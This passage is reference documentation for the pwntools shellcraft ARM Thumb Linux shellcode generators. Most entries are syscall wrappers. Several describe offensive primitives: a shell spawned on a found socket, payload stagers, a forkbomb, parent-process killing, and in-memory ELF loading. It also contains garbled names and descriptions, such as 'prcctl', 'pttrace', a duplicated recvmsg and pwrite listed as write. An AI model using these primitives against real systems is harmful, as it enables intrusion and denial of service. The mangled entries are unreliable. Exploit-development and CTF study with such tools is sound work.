`pwnlib.shellcraft.thumb.linux.faccessat` (*fd, file, type, flag*)

Invokes the syscall `faccessat`. See ‘man 2 faccessat’ for more information.

Parameters

- `fd` (*int*) – fd
- `file` (*char*) – file
- `type` (*int*) – type
- `flag` (*int*) – flag

`pwnlib.shellcraft.thumb.linux.fallocate` (*fd, mode, offset, length*)

Invokes the syscall `fallocate`. See ‘man 2 fallocate’ for more information.

Parameters

- `fd` (*int*) – fd
- `mode` (*int*) – mode
- `offset` (*off_t*) – offset
- `len` (*off_t*) – len

`pwnlib.shellcraft.thumb.linux.fchdir` (*fd*)

Invokes the syscall `fchdir`. See ‘man 2 fchdir’ for more information.

Parameters `fd` (*int*) – fd

`pwnlib.shellcraft.thumb.linux.fchmod` (*fd, mode*)

Invokes the syscall `fchmod`. See ‘man 2 fchmod’ for more information.

Parameters

- `fd` (*int*) – fd
- `mode` (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.fchmodat` (*fd, file, mode, flag*)

Invokes the syscall `fchmodat`. See ‘man 2 fchmodat’ for more information.

Parameters

- `fd` (*int*) – fd
- `file` (*char*) – file
- `mode` (*mode_t*) – mode
- `flag` (*int*) – flag

`pwnlib.shellcraft.thumb.linux.fchown` (*fd, owner, group*)

Invokes the syscall `fchown`. See ‘man 2 `fchown`’ for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.thumb.linux.fchownat` (*fd, file, owner, group, flag*)

Invokes the syscall `fchownat`. See ‘man 2 `fchownat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

`pwnlib.shellcraft.thumb.linux.fcntl` (*fd, cmd, vararg*)

Invokes the syscall `fcntl`. See ‘man 2 `fcntl`’ for more information.

Parameters

- **fd** (*int*) – fd
- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.fdatasync` (*filides*)

Invokes the syscall `fdatasync`. See ‘man 2 `fdatasync`’ for more information.

Parameters **filides** (*int*) – filides

`pwnlib.shellcraft.thumb.linux.findpeer` (*port*)

Finds a connected socket. If `port` is specified it is checked against the peer port. Resulting socket is left in `r6`.

`pwnlib.shellcraft.thumb.linux.findpeersh` (*port*)

Finds a connected socket. If `port` is specified it is checked against the peer port. A `dup2` shell is spawned on it.

`pwnlib.shellcraft.thumb.linux.findpeerstager` (*port=None*)

Findpeer recvsize stager :param `port`, the port given to findpeer: :type `port`, the port given to findpeer: defaults to any

`pwnlib.shellcraft.thumb.linux.flock` (*fd, operation*)

Invokes the syscall `flock`. See ‘man 2 `flock`’ for more information.

Parameters

- **fd** (*int*) – fd
- **operation** (*int*) – operation

`pwnlib.shellcraft.thumb.linux.fork` ()

Invokes the syscall `fork`. See ‘man 2 `fork`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.forkbomb` ()

Performs a `forkbomb` attack.

`pwnlib.shellcraft.thumb.linux.forkexit()`
Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.thumb.linux.fstat(fd, buf)`
Invokes the syscall `fstat`. See ‘man 2 `fstat`’ for more information.

Parameters

- `fd(int)` – fd
- `buf(stat)` – buf

`pwnlib.shellcraft.thumb.linux.fstat64(fd, buf)`
Invokes the syscall `fstat64`. See ‘man 2 `fstat64`’ for more information.

Parameters

- `fd(int)` – fd
- `buf(stat64)` – buf

`pwnlib.shellcraft.thumb.linux.fstatat64(fd, file, buf, flag)`
Invokes the syscall `fstatat64`. See ‘man 2 `fstatat64`’ for more information.

Parameters

- `fd(int)` – fd
- `file(char)` – file
- `buf(stat64)` – buf
- `flag(int)` – flag

`pwnlib.shellcraft.thumb.linux.fsync(fd)`
Invokes the syscall `fsync`. See ‘man 2 `fsync`’ for more information.

Parameters `fd(int)` – fd

`pwnlib.shellcraft.thumb.linux.ftruncate(fd, length)`
Invokes the syscall `ftruncate`. See ‘man 2 `ftruncate`’ for more information.

Parameters

- `fd(int)` – fd
- `length(off_t)` – length

`pwnlib.shellcraft.thumb.linux.ftruncate64(fd, length)`
Invokes the syscall `ftruncate64`. See ‘man 2 `ftruncate64`’ for more information.

Parameters

- `fd(int)` – fd
- `length(off64_t)` – length

`pwnlib.shellcraft.thumb.linux.futimesat(fd, file, tvp)`
Invokes the syscall `futimesat`. See ‘man 2 `futimesat`’ for more information.

Parameters

- `fd(int)` – fd
- `file(char)` – file
- `tvp(timeval)` – tvp

`pwnlib.shellcraft.thumb.linux.getcwd(buf, size)`

Invokes the syscall `getcwd`. See ‘man 2 `getcwd`’ for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

`pwnlib.shellcraft.thumb.linux.getegid()`

Invokes the syscall `getegid`. See ‘man 2 `getegid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.geteuid()`

Invokes the syscall `geteuid`. See ‘man 2 `geteuid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.getgid()`

Invokes the syscall `getgid`. See ‘man 2 `getgid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.getgroups(size, list)`

Invokes the syscall `getgroups`. See ‘man 2 `getgroups`’ for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

`pwnlib.shellcraft.thumb.linux.getitimer(which, value)`

Invokes the syscall `getitimer`. See ‘man 2 `getitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

`pwnlib.shellcraft.thumb.linux.getpeername(fd, addr, length)`

Invokes the syscall `getpeername`. See ‘man 2 `getpeername`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.thumb.linux.getpgid(pid)`

Invokes the syscall `getpgid`. See ‘man 2 `getpgid`’ for more information.

Parameters `pid` (*pid_t*) – pid

`pwnlib.shellcraft.thumb.linux.getpgrp()`

Invokes the syscall `getpgrp`. See ‘man 2 `getpgrp`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.getpid()`

Invokes the syscall `getpid`. See ‘man 2 `getpid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.getpmsg` (*fildes, ctlptr, dataptr, bandp, flagsp*)
 Invokes the syscall `getpmsg`. See ‘man 2 `getpmsg`’ for more information.

Parameters

- **fildes** (*int*) – `fildes`
- **ctlptr** (*strbuf*) – `ctlptr`
- **dataptr** (*strbuf*) – `dataptr`
- **bandp** (*int*) – `bandp`
- **flagsp** (*int*) – `flagsp`

`pwnlib.shellcraft.thumb.linux.getppid` ()
 Invokes the syscall `getppid`. See ‘man 2 `getppid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.getpriority` (*which, who*)
 Invokes the syscall `getpriority`. See ‘man 2 `getpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – `which`
- **who** (*id_t*) – `who`

`pwnlib.shellcraft.thumb.linux.getresgid` (*rgid, egid, sgid*)
 Invokes the syscall `getresgid`. See ‘man 2 `getresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – `rgid`
- **egid** (*gid_t*) – `egid`
- **sgid** (*gid_t*) – `sgid`

`pwnlib.shellcraft.thumb.linux.getresuid` (*ruid, euid, suid*)
 Invokes the syscall `getresuid`. See ‘man 2 `getresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – `ruid`
- **euid** (*uid_t*) – `euid`
- **suid** (*uid_t*) – `suid`

`pwnlib.shellcraft.thumb.linux.getrlimit` (*resource, rlimits*)
 Invokes the syscall `getrlimit`. See ‘man 2 `getrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – `resource`
- **rlimits** (*rlimit*) – `rlimits`

`pwnlib.shellcraft.thumb.linux.getrusage` (*who, usage*)
 Invokes the syscall `getrusage`. See ‘man 2 `getrusage`’ for more information.

Parameters

- **who** (*usage_who_t*) – `who`
- **usage** (*usage*) – `usage`

`pwnlib.shellcraft.thumb.linux.getsid(pid)`

Invokes the syscall `getsid`. See ‘man 2 `getsid`’ for more information.

Parameters `pid(pid_t)` – pid

`pwnlib.shellcraft.thumb.linux.getsockname(fd, addr, length)`

Invokes the syscall `getsockname`. See ‘man 2 `getsockname`’ for more information.

Parameters

- `fd(int)` – fd
- `addr(SOCKADDR_ARG)` – addr
- `len(socklen_t)` – len

`pwnlib.shellcraft.thumb.linux.getsockopt(fd, level, optname, optval, optlen)`

Invokes the syscall `getsockopt`. See ‘man 2 `getsockopt`’ for more information.

Parameters

- `fd(int)` – fd
- `level(int)` – level
- `optname(int)` – optname
- `optval(void)` – optval
- `optlen(socklen_t)` – optlen

`pwnlib.shellcraft.thumb.linux.gettimeofday(tv, tz)`

Invokes the syscall `gettimeofday`. See ‘man 2 `gettimeofday`’ for more information.

Parameters

- `tv(timeval)` – tv
- `tz(timezone_ptr_t)` – tz

`pwnlib.shellcraft.thumb.linux.getuid()`

Invokes the syscall `getuid`. See ‘man 2 `getuid`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.gtty(fd, params)`

Invokes the syscall `gtty`. See ‘man 2 `gtty`’ for more information.

Parameters

- `fd(int)` – fd
- `params(sgttyb)` – params

`pwnlib.shellcraft.thumb.linux.ioctl(fd, request, vararg)`

Invokes the syscall `ioctl`. See ‘man 2 `ioctl`’ for more information.

Parameters

- `fd(int)` – fd
- `request(unsigned)` – request
- `vararg(int)` – vararg

`pwnlib.shellcraft.thumb.linux.ioperm(from_, num, turn_on)`

Invokes the syscall `ioperm`. See ‘man 2 `ioperm`’ for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

`pwnlib.shellcraft.thumb.linux.iopl` (*level*)
 Invokes the syscall `iopl`. See ‘man 2 `iopl`’ for more information.

Parameters `level` (*int*) – level

`pwnlib.shellcraft.thumb.linux.kill` (*pid, sig*)
 Invokes the syscall `kill`. See ‘man 2 `kill`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

`pwnlib.shellcraft.thumb.linux.killparent` ()
 Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwnlib.shellcraft.thumb.linux.lchown` (*file, owner, group*)
 Invokes the syscall `lchown`. See ‘man 2 `lchown`’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.thumb.linux.link` (*from_, to*)
 Invokes the syscall `link`. See ‘man 2 `link`’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.thumb.linux.linkat` (*fromfd, from_, tofd, to, flags*)
 Invokes the syscall `linkat`. See ‘man 2 `linkat`’ for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.listen` (*port, network*)
 Listens on a TCP port, accept a client and leave his socket in `r6`. Port is the TCP port to listen on, network is either ‘`ipv4`’ or ‘`ipv6`’.

`pwnlib.shellcraft.thumb.linux.loader` (*address*)
 Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.thumb.linux.loader_append` (*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters `data` (*bytes*, *str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> gcc = process(['arm-linux-gnueabi-gcc', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-'])
# >>> gcc.write(""" # ... int main() { # ... printf("Hello, %s!\n", "world"); # ... } # ... """)
# >>> gcc.shutdown('send')
# >>> gcc.poll(True)
# 0 # >>> sc = shellcraft.loader_append('a.out')
# >>> run_assembly(sc).recvline()
# 'Hello, world!\n'
```

`pwnlib.shellcraft.thumb.linux.lseek` (*fd*, *offset*, *whence*)

Invokes the syscall `lseek`. See ‘man 2 `lseek`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

`pwnlib.shellcraft.thumb.linux.lstat` (*file*, *buf*)

Invokes the syscall `lstat`. See ‘man 2 `lstat`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.thumb.linux.lstat64` (*file*, *buf*)

Invokes the syscall `lstat64`. See ‘man 2 `lstat64`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.thumb.linux.madvise` (*addr*, *length*, *advice*)

Invokes the syscall `madvise`. See ‘man 2 `madvise`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

`pwnlib.shellcraft.thumb.linux.mincore` (*start*, *length*, *vec*)

Invokes the syscall `mincore`. See ‘man 2 `mincore`’ for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

`pwnlib.shellcraft.thumb.linux.mkdir` (*path*, *mode*)

Invokes the syscall `mkdir`. See ‘man 2 `mkdir`’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.mkdirat` (*fd*, *path*, *mode*)

Invokes the syscall `mkdirat`. See ‘man 2 `mkdirat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.thumb.linux.mknod` (*path*, *mode*, *dev*)

Invokes the syscall `mknod`. See ‘man 2 `mknod`’ for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.thumb.linux.mknodat` (*fd*, *path*, *mode*, *dev*)

Invokes the syscall `mknodat`. See ‘man 2 `mknodat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.thumb.linux.mlock` (*addr*, *length*)

Invokes the syscall `mlock`. See ‘man 2 `mlock`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.mlockall` (*flags*)

Invokes the syscall `mlockall`. See ‘man 2 `mlockall`’ for more information.

Parameters **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.mmap` (*addr=0*, *length=4096*, *prot=7*, *flags=34*, *fd=-1*, *offset=0*)

Invokes the syscall `mmap`. See ‘man 2 `mmap`’ for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot

- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.thumb.linux.mov` (*dest, src*)

Thin wrapper around `pwnlib.shellcraft.thumb.mov()`, which sets `context.os` to `'linux'` before calling.

Example

```
>>> print(pwnlib.shellcraft.thumb.linux.mov('r1', 'SYS_execve').rstrip())
mov r1, #(SYS_execve) /* 0xb */
```

`pwnlib.shellcraft.thumb.linux.mprotect` (*addr, length, prot*)

Invokes the syscall `mprotect`. See ‘man 2 `mprotect`’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **prot** (*int*) – prot

`pwnlib.shellcraft.thumb.linux.mq_notify` (*mqdes, notification*)

Invokes the syscall `mq_notify`. See ‘man 2 `mq_notify`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

`pwnlib.shellcraft.thumb.linux.mq_open` (*name, oflag, vararg*)

Invokes the syscall `mq_open`. See ‘man 2 `mq_open`’ for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.mq_timedreceive` (*mqdes, msg_ptr, msg_len, msg_prio, abs_timeout*)

Invokes the syscall `mq_timedreceive`. See ‘man 2 `mq_timedreceive`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.thumb.linux.mq_timedsend` (*mqdes, msg_ptr, msg_len, msg_prio, abs_timeout*)

Invokes the syscall `mq_timedsend`. See ‘man 2 `mq_timedsend`’ for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.thumb.linux.mq_unlink` (*name*)

Invokes the syscall `mq_unlink`. See ‘man 2 mq_unlink’ for more information.

Parameters *name* (*char*) – name

`pwnlib.shellcraft.thumb.linux.mremap` (*addr*, *old_len*, *new_len*, *flags*, *vararg*)

Invokes the syscall `mremap`. See ‘man 2 mremap’ for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len
- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.msync` (*addr*, *length*, *flags*)

Invokes the syscall `msync`. See ‘man 2 msync’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.munlock` (*addr*, *length*)

Invokes the syscall `munlock`. See ‘man 2 munlock’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.munlockall` ()

Invokes the syscall `munlockall`. See ‘man 2 munlockall’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.munmap` (*addr*, *length*)

Invokes the syscall `munmap`. See ‘man 2 munmap’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.nanosleep` (*requested_time*, *remaining*)

Invokes the syscall `nanosleep`. See ‘man 2 nanosleep’ for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

`pwnlib.shellcraft.thumb.linux.nice` (*inc*)

Invokes the syscall nice. See ‘man 2 nice’ for more information.

Parameters `inc` (*int*) – inc

`pwnlib.shellcraft.thumb.linux.open` (*file, oflag, vararg*)

Invokes the syscall open. See ‘man 2 open’ for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.openat` (*fd, file, oflag, vararg*)

Invokes the syscall openat. See ‘man 2 openat’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.pause` ()

Invokes the syscall pause. See ‘man 2 pause’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.pipe` (*pipedes*)

Invokes the syscall pipe. See ‘man 2 pipe’ for more information.

Parameters `pipedes` (*int*) – pipedes

`pwnlib.shellcraft.thumb.linux.pipe2` (*pipedes, flags*)

Invokes the syscall pipe2. See ‘man 2 pipe2’ for more information.

Parameters

- **pipedes** (*int*) – pipedes
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.poll` (*fds, nfds, timeout*)

Invokes the syscall poll. See ‘man 2 poll’ for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*int*) – timeout

`pwnlib.shellcraft.thumb.linux.ppoll` (*fds, nfds, timeout, ss*)

Invokes the syscall ppoll. See ‘man 2 ppoll’ for more information.

Parameters

- **fds** (*pollfd*) – fds

- **nfds** (*nfds_t*) – nfds
- **timeout** (*timespec*) – timeout
- **ss** (*sigset_t*) – ss

`pwnlib.shellcraft.thumb.linux.prcctl` (*option, vararg*)
Invokes the syscall `prctl`. See ‘man 2 `prctl`’ for more information.

Parameters

- **option** (*int*) – option
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.pread` (*fd, buf, nbytes, offset*)
Invokes the syscall `pread`. See ‘man 2 `pread`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.thumb.linux.preadv` (*fd, iovec, count, offset*)
Invokes the syscall `preadv`. See ‘man 2 `preadv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.thumb.linux.prlimit64` (*pid, resource, new_limit, old_limit*)
Invokes the syscall `prlimit64`. See ‘man 2 `prlimit64`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

`pwnlib.shellcraft.thumb.linux.profil` (*sample_buffer, size, offset, scale*)
Invokes the syscall `profil`. See ‘man 2 `profil`’ for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

`pwnlib.shellcraft.thumb.linux.pttrace` (*request, vararg*)
Invokes the syscall `ptrace`. See ‘man 2 `ptrace`’ for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

`pwntools.shellcraft.thumb.linux.push(value)`

Thin wrapper around `pwntools.shellcraft.thumb.push()`, which sets `context.os` to `'linux'` before calling.

Example

```
>>> print(pwntools.shellcraft.thumb.linux.push('SYS_execve').rstrip())
/* push 'SYS_execve' */
mov r7, #0xb
push {r7}
```

`pwntools.shellcraft.thumb.linux.putpmsg(fildes, ctlptr, dataptr, band, flags)`

Invokes the syscall `putpmsg`. See `'man 2 putpmsg'` for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

`pwntools.shellcraft.thumb.linux.pwrite(fd, buf, n, offset)`

Invokes the syscall `write`. See `'man 2 write'` for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

`pwntools.shellcraft.thumb.linux.pwritev(fd, iovec, count, offset)`

Invokes the syscall `writev`. See `'man 2 writev'` for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwntools.shellcraft.thumb.linux.read(fd, buf, nbytes)`

Invokes the syscall `read`. See `'man 2 read'` for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf

- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.thumb.linux.readahead` (*fd, offset, count*)

Invokes the syscall `readahead`. See ‘man 2 `readahead`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.thumb.linux.readdir` (*dirp*)

Invokes the syscall `readdir`. See ‘man 2 `readdir`’ for more information.

Parameters **dirp** (*DIR*) – dirp

`pwnlib.shellcraft.thumb.linux.readfile` (*path, dst='r6'*)

Args: [*path, dst (imm/reg) = r6*] Opens the specified file *path* and sends its content to the specified file descriptor.

Leaves the destination file descriptor in *r6* and the input file descriptor in *r5*.

`pwnlib.shellcraft.thumb.linux.readlink` (*path, buf, length*)

Invokes the syscall `readlink`. See ‘man 2 `readlink`’ for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.readlinkat` (*fd, path, buf, length*)

Invokes the syscall `readlinkat`. See ‘man 2 `readlinkat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

`pwnlib.shellcraft.thumb.linux.readn` (*fd, buf, nbytes*)

Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

`pwnlib.shellcraft.thumb.linux.readv` (*fd, iovec, count*)

Invokes the syscall `readv`. See ‘man 2 `readv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.thumb.linux.recv` (*fd, buf, n, flags*)
Invokes the syscall `recv`. See ‘man 2 `recv`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.recvfrom` (*fd, buf, n, flags, addr, addr_len*)
Invokes the syscall `recvfrom`. See ‘man 2 `recvfrom`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.thumb.linux.recvmsg` (*fd, vmessages, vlen, flags, tmo*)
Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsghdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

`pwnlib.shellcraft.thumb.linux.recvmsg` (*fd, message, flags*)
Invokes the syscall `recvmsg`. See ‘man 2 `recvmsg`’ for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msghdr*) – message
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.recvsize` (*sock, reg='r1'*)
Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param `sock`, the socket to read the payload from.: :param `reg`, the place to put the size: :type `reg`, the place to put the size: default `ecx`
Leaves socket in `ebx`

`pwnlib.shellcraft.thumb.linux.remap_file_pages` (*start, size, prot, pgoff, flags*)
Invokes the syscall `remap_file_pages`. See ‘man 2 `remap_file_pages`’ for more information.

Parameters

- **start** (*void*) – start

- **size** (*size_t*) – size
- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.rename` (*old, new*)

Invokes the syscall `rename`. See ‘man 2 `rename`’ for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

`pwnlib.shellcraft.thumb.linux.renameat` (*oldd, old, newfd, new*)

Invokes the syscall `renameat`. See ‘man 2 `renameat`’ for more information.

Parameters

- **oldd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

`pwnlib.shellcraft.thumb.linux.rmdir` (*path*)

Invokes the syscall `rmdir`. See ‘man 2 `rmdir`’ for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.thumb.linux.sched_get_priority_max` (*algorithm*)

Invokes the syscall `sched_get_priority_max`. See ‘man 2 `sched_get_priority_max`’ for more information.

Parameters **algorithm** (*int*) – algorithm

`pwnlib.shellcraft.thumb.linux.sched_get_priority_min` (*algorithm*)

Invokes the syscall `sched_get_priority_min`. See ‘man 2 `sched_get_priority_min`’ for more information.

Parameters **algorithm** (*int*) – algorithm

`pwnlib.shellcraft.thumb.linux.sched_getaffinity` (*pid, cpusetsize, cpuset*)

Invokes the syscall `sched_getaffinity`. See ‘man 2 `sched_getaffinity`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.thumb.linux.sched_getparam` (*pid, param*)

Invokes the syscall `sched_getparam`. See ‘man 2 `sched_getparam`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

`pwnlib.shellcraft.thumb.linux.sched_getscheduler` (*pid*)

Invokes the syscall `sched_getscheduler`. See ‘man 2 `sched_getscheduler`’ for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.thumb.linux.sched_rr_get_interval` (*pid*, *t*)

Invokes the syscall `sched_rr_get_interval`. See ‘man 2 `sched_rr_get_interval`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **t** (*timespec*) – t

`pwnlib.shellcraft.thumb.linux.sched_setaffinity` (*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall `sched_setaffinity`. See ‘man 2 `sched_setaffinity`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.thumb.linux.sched_setparam` (*pid*, *param*)

Invokes the syscall `sched_setparam`. See ‘man 2 `sched_setparam`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

`pwnlib.shellcraft.thumb.linux.sched_setscheduler` (*pid*, *policy*, *param*)

Invokes the syscall `sched_setscheduler`. See ‘man 2 `sched_setscheduler`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **policy** (*int*) – policy
- **param** (*sched_param*) – param

`pwnlib.shellcraft.thumb.linux.sched_yield` ()

Invokes the syscall `sched_yield`. See ‘man 2 `sched_yield`’ for more information.

Arguments:

`pwnlib.shellcraft.thumb.linux.select` (*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*)

